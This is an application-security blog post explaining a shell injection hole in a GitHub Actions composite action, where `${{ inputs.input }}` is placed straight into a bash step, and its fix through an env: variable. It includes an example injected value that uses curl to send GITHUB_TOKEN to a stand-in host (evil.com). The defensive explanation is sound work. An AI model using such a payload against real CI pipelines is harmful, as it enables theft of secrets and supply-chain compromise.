Back to Blog
high SEVERITY6 min read

How shell injection via `${{` variable interpolation happens in GitHub Actions and how to fix it

A high-severity shell injection vulnerability was discovered in `.github/commaSplitter/action.yaml` where unsanitized user input was directly interpolated into a bash `run:` step using `${{ inputs.input }}`. An attacker could craft a malicious input string to escape the shell command and execute arbitrary code on the GitHub Actions runner, potentially stealing secrets and source code. The fix introduces an intermediate environment variable to safely pass the input without shell interpretation.

O
By Orbis AppSec
Published July 24, 2026Reviewed July 24, 2026

Answer Summary

This is a GitHub Actions shell injection vulnerability (CWE-78) caused by using `${{ inputs.input }}` directly in a `run:` step in a composite action YAML file. The fix replaces the dangerous interpolation with an `env:` block that assigns the input to an environment variable (`INPUT`), which is then referenced as `"$INPUT"` in the shell script—preventing attacker-controlled input from being interpreted as shell commands.

Vulnerability at a Glance

cweCWE-78 (OS Command Injection)
fixUse an `env:` block to pass input as an environment variable instead of inline interpolation
riskArbitrary code execution on CI runner, secret exfiltration, supply chain compromise
languageYAML / Bash (GitHub Actions)
root causeDirect use of `${{ inputs.input }}` in a `run:` shell step without sanitization
vulnerabilityShell injection via GitHub Actions expression interpolation

How Shell Injection via ${{ Variable Interpolation Happens in GitHub Actions and How to Fix It

Introduction

In a production repository's .github/commaSplitter/action.yaml, we discovered a high-severity shell injection vulnerability at line 19. The composite action's purpose is simple: take a comma-separated input string and split it into a JSON array. But the way it consumed user input—by directly interpolating ${{ inputs.input }} into a bash run: step—created a dangerous attack surface that could allow an attacker to execute arbitrary code on the GitHub Actions runner, steal repository secrets, and compromise the CI/CD pipeline.

The vulnerable line looked like this:

IFS=',' read -ra list_data <<< "${{ inputs.input }}"

This pattern is deceptively common in GitHub Actions workflows. Developers often assume that because the input is "just a string," it's safe to interpolate directly. But GitHub Actions expression interpolation happens before the shell script is constructed, meaning an attacker's payload becomes part of the script itself.

The Vulnerability Explained

How GitHub Actions Expression Interpolation Works

When GitHub Actions encounters ${{ inputs.input }} in a run: step, it performs a text substitution at the YAML template level. The resulting string is then written to a temporary shell script file and executed. This means whatever value inputs.input contains becomes literal shell script text.

Here's the vulnerable code in .github/commaSplitter/action.yaml:

runs:
  using: "composite"
  steps:
    - name: Split the input
      id: splitter
      shell: bash
      run: |
        IFS=',' read -ra list_data <<< "${{ inputs.input }}"
        output=$(jq -cn '[$ARGS.positional[]]' --args "${list_data[@]}")
        echo "output=$output" >> $GITHUB_OUTPUT
        echo "output: $output"

The Attack Scenario

Imagine this composite action is called from a workflow that processes data from a pull request or issue—perhaps splitting a comma-separated list of labels, file paths, or reviewer names. An attacker could provide an input value like:

"; curl -s https://evil.com/exfil?token=$(cat $GITHUB_TOKEN) #

After GitHub Actions interpolation, the generated shell script would become:

IFS=',' read -ra list_data <<< ""; curl -s https://evil.com/exfil?token=$(cat $GITHUB_TOKEN) #"

The attacker has:
1. Closed the heredoc string with "
2. Terminated the first command with ;
3. Injected an arbitrary curl command that exfiltrates the GITHUB_TOKEN
4. Commented out the rest of the line with #

Even more dangerous payloads could:
- Access all secrets available to the workflow via ${{ secrets.* }} (which are exposed as environment variables)
- Modify the repository by pushing malicious commits
- Install backdoors in build artifacts (supply chain attack)
- Pivot to other systems using stored credentials

Why This Is Particularly Dangerous

The commaSplitter action is a reusable composite action. Any workflow in the repository (or potentially in other repositories if it's a public action) that calls this action with user-influenced data becomes vulnerable. The blast radius extends beyond a single workflow file.

The Fix

The fix introduces an intermediate environment variable using the env: block, which is the GitHub-recommended pattern for handling untrusted input:

Before (vulnerable):

    - name: Split the input
      id: splitter
      shell: bash
      run: |
        IFS=',' read -ra list_data <<< "${{ inputs.input }}"
        output=$(jq -cn '[$ARGS.positional[]]' --args "${list_data[@]}")
        echo "output=$output" >> $GITHUB_OUTPUT
        echo "output: $output"

After (fixed):

    - name: Split the input
      id: splitter
      shell: bash
      env:
        INPUT: ${{ inputs.input }}
      run: |
        IFS=',' read -ra list_data <<< "$INPUT"
        output=$(jq -cn '[$ARGS.positional[]]' --args "${list_data[@]}")
        echo "output=$output" >> $GITHUB_OUTPUT
        echo "output: $output"

Why This Works

The critical difference is when and how the value is processed:

  1. env: block assignment: INPUT: ${{ inputs.input }} — GitHub Actions sets the environment variable INPUT to the literal string value of inputs.input. The value is stored as data, not injected into script text.

  2. Shell variable reference: "$INPUT" — When bash executes, it reads the INPUT environment variable. Because it's enclosed in double quotes, the shell treats it as a single string argument, regardless of what characters it contains. Shell metacharacters like ;, |, $(), and backticks are not interpreted.

The attacker's payload "; curl -s https://evil.com/exfil # would now simply be passed as a literal string to the read command—it would be treated as data to split on commas, not as shell commands to execute.

Prevention & Best Practices

1. Never Use ${{ }} Directly in run: Steps with Untrusted Data

Any GitHub context that can be influenced by external users is untrusted:
- github.event.pull_request.title
- github.event.pull_request.body
- github.event.issue.title
- github.head_ref
- inputs.* (for reusable/composite actions)
- github.event.comment.body

2. Always Use the env: Pattern

env:
  UNTRUSTED_DATA: ${{ github.event.pull_request.title }}
run: |
  echo "Processing: $UNTRUSTED_DATA"

3. Enable Static Analysis for GitHub Actions

Use tools like:
- Semgrep with the yaml.github-actions.security.run-shell-injection.run-shell-injection rule
- actionlint — a dedicated GitHub Actions linter
- CodeQL — GitHub's own code scanning with Actions-specific queries

4. Limit Permissions

Use the permissions: key to restrict GITHUB_TOKEN scope. If a workflow only needs to read code, don't grant it write access:

permissions:
  contents: read

5. Review Composite Actions Carefully

Composite actions are reused across workflows. A single vulnerability in a composite action multiplies across every caller.

Key Takeaways

  • ${{ inputs.input }} in a run: step is never safe when the input can be influenced by untrusted users—even in composite actions that seem internal.
  • The commaSplitter action's simple comma-splitting logic masked a critical injection point because developers focused on the business logic rather than the data flow.
  • Environment variables with env: blocks are the only safe way to pass GitHub context data into shell scripts in GitHub Actions.
  • Composite actions amplify risk because they're reused—fixing this one file protects every workflow that calls commaSplitter.
  • Semgrep's run-shell-injection rule reliably detects this exact pattern and should be part of every repository's CI pipeline.

How Orbis AppSec Detected This

  • Source: The inputs.input parameter of the composite action at .github/commaSplitter/action.yaml, which receives arbitrary string data from calling workflows.
  • Sink: The run: step at line 19, where ${{ inputs.input }} was directly interpolated into a bash heredoc string (<<< "${{ inputs.input }}"), allowing shell command injection.
  • Missing control: No intermediate environment variable or input sanitization was applied between the untrusted input source and the shell execution context.
  • CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
  • Fix: Replaced direct ${{ inputs.input }} interpolation with an env: block (INPUT: ${{ inputs.input }}) and referenced the environment variable ("$INPUT") in the shell script.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

Shell injection in GitHub Actions is one of the most underappreciated security risks in modern CI/CD pipelines. The ${{ }} interpolation syntax makes it trivially easy to introduce command injection vulnerabilities that can compromise secrets, source code, and build artifacts. The fix demonstrated here—using an env: block to safely pass inputs.input as the INPUT environment variable—is simple, behavior-preserving, and eliminates the attack surface entirely. Every team using GitHub Actions should audit their workflows for this pattern today.

References

Frequently Asked Questions

What is shell injection in GitHub Actions?

Shell injection in GitHub Actions occurs when attacker-controlled data (from PR titles, branch names, issue bodies, or action inputs) is directly interpolated into a `run:` step using `${{ }}` expressions. The GitHub Actions runner expands these expressions before the shell executes, allowing injected shell metacharacters to execute arbitrary commands.

How do you prevent shell injection in GitHub Actions?

Use an `env:` block to assign untrusted data to an environment variable, then reference that variable in the `run:` script with proper quoting (e.g., `"$ENVVAR"`). This ensures the data is treated as a string value rather than being parsed as shell syntax.

What CWE is shell injection in GitHub Actions?

It maps to CWE-78 (Improper Neutralization of Special Elements used in an OS Command, also known as OS Command Injection). Some classifications also reference CWE-77 (Command Injection) depending on the specific injection vector.

Is input validation enough to prevent shell injection in GitHub Actions?

Input validation alone is insufficient because GitHub Actions expression interpolation (`${{ }}`) happens at the YAML template level before the shell even runs. Even with validation logic in the script, the malicious payload has already been injected into the script text. The only reliable fix is to avoid inline interpolation entirely by using environment variables.

Can static analysis detect shell injection in GitHub Actions?

Yes. Tools like Semgrep have specific rules (e.g., `yaml.github-actions.security.run-shell-injection.run-shell-injection`) that detect when `${{ github.* }}` or `${{ inputs.* }}` expressions are used directly in `run:` steps. These rules flag the pattern for manual review or automated remediation.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #602

Related Articles

medium

How GitHub Actions Mutable Action Tags Enable Supply-Chain Attacks and How to Fix Them

A GitHub Actions workflow was using `actions/checkout@v1`, a mutable tag reference that could be silently repointed by the action owner to inject malicious code. This supply-chain vulnerability was fixed by pinning the action to a specific commit SHA (`11bd71901bbe5b1630ceea73d27597364c9af683`), ensuring the workflow always executes verified, immutable code.

high

How Shell Injection in GitHub Actions happens in YAML workflows and how to fix it

A high-severity shell injection vulnerability was discovered in `.forgejo/workflows/docker.yml` where `${{github.ref}}` and `${{github.ref_name}}` were directly interpolated into a bash `run:` step. An attacker could craft malicious git reference names to inject arbitrary commands into the CI runner, potentially stealing secrets and source code. The fix moves these values into intermediate environment variables, preventing command injection.

high

How GitHub Actions Shell Injection happens in YAML workflows and how to fix it

A GitHub Actions workflow in `reusable-workflow-input-must-declare-type.yaml` was directly interpolating `${{ inputs.constraints }}` inside a `run:` shell step, creating a shell injection vulnerability. An attacker who controls the workflow input could inject arbitrary shell commands into the runner, potentially stealing secrets and source code. The fix moves the untrusted value into an intermediate environment variable, breaking the injection path entirely.

critical

How Credential Leakage in GitHub Actions Happens in Node.js and How to Fix It

A GitHub Actions workflow in Node.js was storing authentication tokens in plain variables without masking them in logs, creating a critical security risk. When debug mode was enabled or errors occurred, tokens could be exposed in console output and GitHub Actions logs. The fix uses the `setSecret()` API to automatically mask sensitive credentials throughout the execution.

high

How Dependabot Missing Cooldown Periods Happen in GitHub Actions and How to Fix It

A missing cooldown period in Dependabot configuration creates a supply chain vulnerability by allowing automatic updates to newly published packages that could be malicious or unstable. This fix adds a 7-day cooldown to the `.github/dependabot.yml` file, ensuring newly published package versions are vetted before being proposed for update. This is critical for Node.js libraries where vulnerabilities affect all downstream consumers.

high

How missing cooldown periods in Dependabot configuration happen in GitHub Actions and how to fix it

A high-severity vulnerability was discovered in a Node.js library's `.github/dependabot.yml` configuration file where no cooldown period was set for package updates. This exposed the project to potentially malicious or unstable newly-published packages, as Dependabot would immediately propose updates without any waiting period. The fix adds a 7-day cooldown to the npm package-ecosystem configuration, ensuring a safety window before adopting new package versions.